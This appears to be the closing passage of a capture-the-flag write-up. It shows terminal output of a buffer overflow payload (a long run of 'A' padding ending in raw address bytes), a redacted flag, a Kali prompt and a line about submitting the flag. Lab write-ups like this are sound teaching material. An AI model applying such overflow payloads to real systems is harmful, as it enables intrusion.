AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
<redacted-flag>
user@kali:~$

We submit the flag, review the challenge completion, and terminate the challenge box.